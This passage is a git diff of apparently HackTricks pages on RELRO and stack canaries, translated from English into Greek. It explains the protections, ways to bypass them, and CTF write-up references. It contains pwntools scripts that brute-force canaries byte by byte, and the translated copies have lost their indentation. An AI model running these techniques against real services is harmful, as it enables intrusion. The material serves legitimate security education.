b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 59b406c5e..679c792d9 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -4,32 +4,30 @@ ## Relro -**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). +**RELRO** σημαίνει **Relocation Read-Only**, και είναι μια λειτουργία ασφαλείας που χρησιμοποιείται σε δυαδικά αρχεία για να μετριάσει τους κινδύνους που σχετίζονται με τις **GOT (Global Offset Table)** υπεργραφές. Υπάρχουν δύο τύποι προστασιών **RELRO**: (1) **Partial RELRO** και (2) **Full RELRO**. Και οι δύο αναδιοργανώνουν την **GOT** και **BSS** από τα αρχεία ELF, αλλά με διαφορετικά αποτελέσματα και επιπτώσεις. Συγκεκριμένα, τοποθετούν την ενότητα **GOT** _πριν_ από την **BSS**. Δηλαδή, η **GOT** βρίσκεται σε χαμηλότερες διευθύνσεις από την **BSS**, καθιστώντας έτσι αδύνατη την υπεργραφή των εγγραφών **GOT** μέσω υπερχείλισης μεταβλητών στην **BSS** (θυμηθείτε ότι η εγγραφή στη μνήμη συμβαίνει από χαμηλότερες προς υψηλότερες διευθύνσεις). -Let's break down the concept into its two distinct types for clarity. +Ας αναλύσουμε την έννοια σε δύο διακριτούς τύπους για σαφήνεια. ### **Partial RELRO** -**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. +**Partial RELRO** ακολουθεί μια απλούστερη προσέγγιση για να ενισχύσει την ασφάλεια χωρίς να επηρεάζει σημαντικά την απόδοση του δυαδικού αρχείου. Το Partial RELRO καθιστά **το .got μόνο για ανάγνωση (το μη-PLT μέρος της ενότητας GOT)**. Να έχετε υπόψη ότι το υπόλοιπο της ενότητας (όπως το .got.plt) είναι ακόμα εγγράψιμο και, επομένως, υπόκειται σε επιθέσεις. Αυτό **δεν αποτρέπει την κακή χρήση της GOT** από **τυχαίες ευπάθειες εγγραφής**. -Note: By default, GCC compiles binaries with Partial RELRO. +Σημείωση: Από προεπιλογή, ο GCC συντάσσει δυαδικά αρχεία με Partial RELRO. ### **Full RELRO** -**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. +**Full RELRO** ενισχύει την προστασία κάνοντάς την **ολόκληρη την GOT (τόσο .got όσο και .got.plt) και την ενότητα .fini_array** εντελώς **μόνο για ανάγνωση.** Μόλις ξεκινήσει το δυαδικό αρχείο, όλες οι διευθύνσεις συναρτήσεων επιλύονται και φορτώνονται στην GOT, στη συνέχεια, η GOT σημειώνεται ως μόνο για ανάγνωση, αποτρέποντας αποτελεσματικά οποιεσδήποτε τροποποιήσεις σε αυτήν κατά τη διάρκεια της εκτέλεσης. -However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. - -It's possible to see if Full RELRO is **enabled** in a binary with: +Ωστόσο, το trade-off με το Full RELRO είναι σε όρους απόδοσης και χρόνου εκκίνησης. Επειδή χρειάζεται να επιλύσει όλα τα δυναμικά σύμβολα κατά την εκκίνηση πριν σημειώσει την GOT ως μόνο για ανάγνωση, **τα δυαδικά αρχεία με ενεργοποιημένο το Full RELRO μπορεί να έχουν μεγαλύτερους χρόνους φόρτωσης**. Αυτή η επιπλέον επιβάρυνση εκκίνησης είναι ο λόγος που το Full RELRO δεν είναι ενεργοποιημένο από προεπιλογή σε όλα τα δυαδικά αρχεία. +Είναι δυνατόν να δείτε αν το Full RELRO είναι **ενεργοποιημένο** σε ένα δυαδικό αρχείο με: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` - ## Bypass -If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. +Αν είναι ενεργοποιημένο το Full RELRO, ο μόνος τρόπος να το παρακάμψετε είναι να βρείτε έναν άλλο τρόπο που δεν χρειάζεται να γράψετε στον πίνακα GOT για να αποκτήσετε αυθαίρετη εκτέλεση. -Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +Σημειώστε ότι **ο πίνακας GOT της LIBC είναι συνήθως Partial RELRO**, οπότε μπορεί να τροποποιηθεί με μια αυθαίρετη εγγραφή. Περισσότερες πληροφορίες στο [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5c1044b98..5afdd8871 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -2,72 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## **StackGuard and StackShield** +## **StackGuard και StackShield** -**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. +**StackGuard** εισάγει μια ειδική τιμή γνωστή ως **canary** πριν από το **EIP (Extended Instruction Pointer)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει null, newline, EOF, carriage return) για να προστατεύσει από buffer overflows. Ωστόσο, συναρτήσεις όπως `recv()`, `memcpy()`, `read()`, και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Base Pointer)**. -**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. +**StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας μια **Global Return Stack**, η οποία αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση διασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ των αποθηκευμένων και των πραγματικών διευθύνσεων επιστροφής για την ανίχνευση περιστατικών υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής σε σχέση με μια τιμή ορίου για να ανιχνεύσει αν το **EIP** δείχνει εκτός του αναμενόμενου χώρου δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming), ή ret2ret, υποδεικνύοντας ότι το StackShield δεν προστατεύει επίσης τις τοπικές μεταβλητές. ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. +Αυτή η μηχανισμός τοποθετεί ένα **canary** πριν από το **EBP**, και αναδιοργανώνει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την επικάλυψη άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα επιχειρήματα που περνούν στο stack πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτά τα αντίγραφα ως επιχειρήματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers εντός της δομής ενός χρήστη. -The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. +Το **canary** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή `0xff0a0000`. Αποθηκεύεται στο **TLS (Thread Local Storage)**, επιτρέποντας στους κοινόχρηστους χώρους μνήμης μεταξύ νημάτων να έχουν παγκόσμιες ή στατικές μεταβλητές συγκεκριμένες για το νήμα. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη γονική διαδικασία, και οι παιδικές διαδικασίες μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάσουν τη γονική ή τις αδελφές διαδικασίες. Παρ' όλα αυτά, αν χρησιμοποιηθεί **`fork()` χωρίς να δημιουργηθεί ένα νέο canary, όλες οι διαδικασίες (γονικές και παιδικές) μοιράζονται το ίδιο canary**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το canary αποθηκεύεται στο `gs:0x14`, και στην **x86_64**, στο `fs:0x28`. -This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. +Αυτή η τοπική προστασία εντοπίζει συναρτήσεις με buffers ευάλωτα σε επιθέσεις και εισάγει κώδικα στην αρχή αυτών των συναρτήσεων για να τοποθετήσει το canary, και στο τέλος για να επαληθεύσει την ακεραιότητά του. -When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. +Όταν ένας web server χρησιμοποιεί `fork()`, επιτρέπει μια επίθεση brute-force για να μαντέψει το canary byte by byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` επαναγράφει τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στην παιδική διαδικασία να εκτελείται χωρίς αναπαραγωγή μέχρι να προσπαθήσει να γράψει, οπότε δημιουργείται μια αναπαραγωγή, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διαδικασιών και τη διαχείριση μνήμης. -### Lengths +### Μήκη -In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** +Στα `x64` binaries, το canary cookie είναι ένα **`0x8`** byte qword. Τα **πρώτα επτά bytes είναι τυχαία** και το τελευταίο byte είναι ένα **null byte.** -In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** +Στα `x86` binaries, το canary cookie είναι ένα **`0x4`** byte dword. Τα **πρώτα τρία bytes είναι τυχαία** και το τελευταίο byte είναι ένα **null byte.** > [!CAUTION] -> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. +> Το λιγότερο σημαντικό byte και των δύο canaries είναι ένα null byte επειδή θα είναι το πρώτο στο stack που προέρχεται από χαμηλότερες διευθύνσεις και επομένως **οι συναρτήσεις που διαβάζουν συμβολοσειρές θα σταματήσουν πριν το διαβάσουν**. -## Bypasses +## Παράκαμψη -**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. +**Διαρροή του canary** και στη συνέχεια επικάλυψη του (π.χ. buffer overflow) με την δική του τιμή. -- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: +- Αν το **canary είναι forked σε παιδικές διαδικασίες** μπορεί να είναι δυνατό να **brute-force** αυτό byte by byte: {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: +- Αν υπάρχει κάποια ενδιαφέρουσα **διαρροή ή ευπάθεια αυθαίρετης ανάγνωσης** στο binary μπορεί να είναι δυνατό να διαρρεύσει: {{#ref}} print-stack-canary.md {{#endref}} -- **Overwriting stack stored pointers** +- **Επικάλυψη των αποθηκευμένων pointers στο stack** -The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: +Το stack που είναι ευάλωτο σε υπερχείλιση stack μπορεί να **περιέχει διευθύνσεις σε συμβολοσειρές ή συναρτήσεις που μπορούν να επαναγραφούν** προκειμένου να εκμεταλλευτούν την ευπάθεια χωρίς να χρειαστεί να φτάσουν στο canary του stack. Ελέγξτε: {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} -- **Modifying both master and thread canary** +- **Τροποποίηση και των δύο canary master και thread** -A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). +Μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary μπορεί να χρησιμοποιηθεί για **τροποποίηση του master canary του νήματος**. Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα). -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Επιπλέον, μια υπερχείλιση buffer σε μια συναρτήση με νήμα που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για **τροποποίηση του master canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσει στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω ενός **bof στο stack** ενός νήματος.\ +Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\ +Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +Ελέγξτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** δημιουργείται επίσης με `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά. -- **Modify the GOT entry of `__stack_chk_fail`** +- **Τροποποίηση της εγγραφής GOT του `__stack_chk_fail`** -If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. +Αν το binary έχει Partial RELRO, τότε μπορείτε να χρησιμοποιήσετε μια αυθαίρετη εγγραφή για να τροποποιήσετε την **εγγραφή GOT του `__stack_chk_fail`** ώστε να είναι μια ψεύτικη συνάρτηση που δεν μπλοκάρει το πρόγραμμα αν το canary τροποποιηθεί. -This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +Αυτή η επίθεση εκτελείται στην αναφορά: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -## References +## Αναφορές - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 89eee29ec..2ac52eb3e 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> Σημειώστε ότι **`checksec`** μπορεί να μην αναγνωρίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να εντοπίσει τη λειτουργία.\ +> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν διαπιστώσετε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο. ## Brute force Canary -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθορίζετε μια νέα σύνδεση** με αυτό (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **το ίδιο canary θα χρησιμοποιηθεί**. -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλά να **το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία **παρακάμπτει ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλά **ελέγχοντας** αν μια **απάντηση** επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**): ### Example 1 -This example is implemented for 64bits but could be easily implemented for 32 bits. - +Αυτό το παράδειγμα έχει υλοποιηθεί για 64 bits αλλά θα μπορούσε να υλοποιηθεί εύκολα και για 32 bits. ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base canary_offset = 1176 base = "A" * canary_offset @@ -58,43 +57,41 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +### Παράδειγμα 2 -### Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +Αυτό έχει υλοποιηθεί για 32 bits, αλλά αυτό θα μπορούσε να αλλάξει εύκολα σε 64 bits.\ +Επίσης σημειώστε ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και το payload. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break - # Return the canary - return known_canary +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -104,18 +101,17 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +## Νήματα -## Threads +Τα νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο canary token**, επομένως θα είναι δυνατό να **brute-forc**e ένα canary αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση. -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +Επιπλέον, μια **υπερχείλιση buffer σε μια θρεμμένη συνάρτηση** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει το κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στη στοίβα** ενός νήματος.\ +Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\ +Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται μια **στοίβα** **νήματος** δημιουργείται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά. -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. - -## Other examples & references +## Άλλα παραδείγματα & αναφορές - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e4d3eed44..1c8edec03 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -1,33 +1,33 @@ -# Print Stack Canary +# Εκτύπωση Stack Canary {{#include ../../../banners/hacktricks-training.md}} -## Enlarge printed stack +## Μεγέθυνση εκτυπωμένου stack -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. +Φανταστείτε μια κατάσταση όπου ένα **πρόγραμμα ευάλωτο** σε stack overflow μπορεί να εκτελέσει μια **λειτουργία puts** **δείχνοντας** σε **μέρος** του **stack overflow**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα null byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **επικαλύπτει το stack μέχρι το πρώτο byte του canary**. -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). +Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργία puts** στη μέση του payload που θα **εκτυπώσει όλα τα canary** (εκτός από το πρώτο null byte). -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). +Με αυτές τις πληροφορίες, ο επιτιθέμενος μπορεί να **δημιουργήσει και να στείλει μια νέα επίθεση** γνωρίζοντας το canary (στην ίδια συνεδρία προγράμματος). -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. +Προφανώς, αυτή η τακτική είναι πολύ **περιορισμένη** καθώς ο επιτιθέμενος πρέπει να είναι σε θέση να **εκτυπώσει** το **περιεχόμενο** του **payload** του για να **εξάγει** το **canary** και στη συνέχεια να είναι σε θέση να δημιουργήσει ένα νέο payload (στην **ίδια συνεδρία προγράμματος**) και να **στείλει** την **πραγματική υπερχείλιση buffer**. -**CTF examples:** +**Παραδείγματα CTF:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να 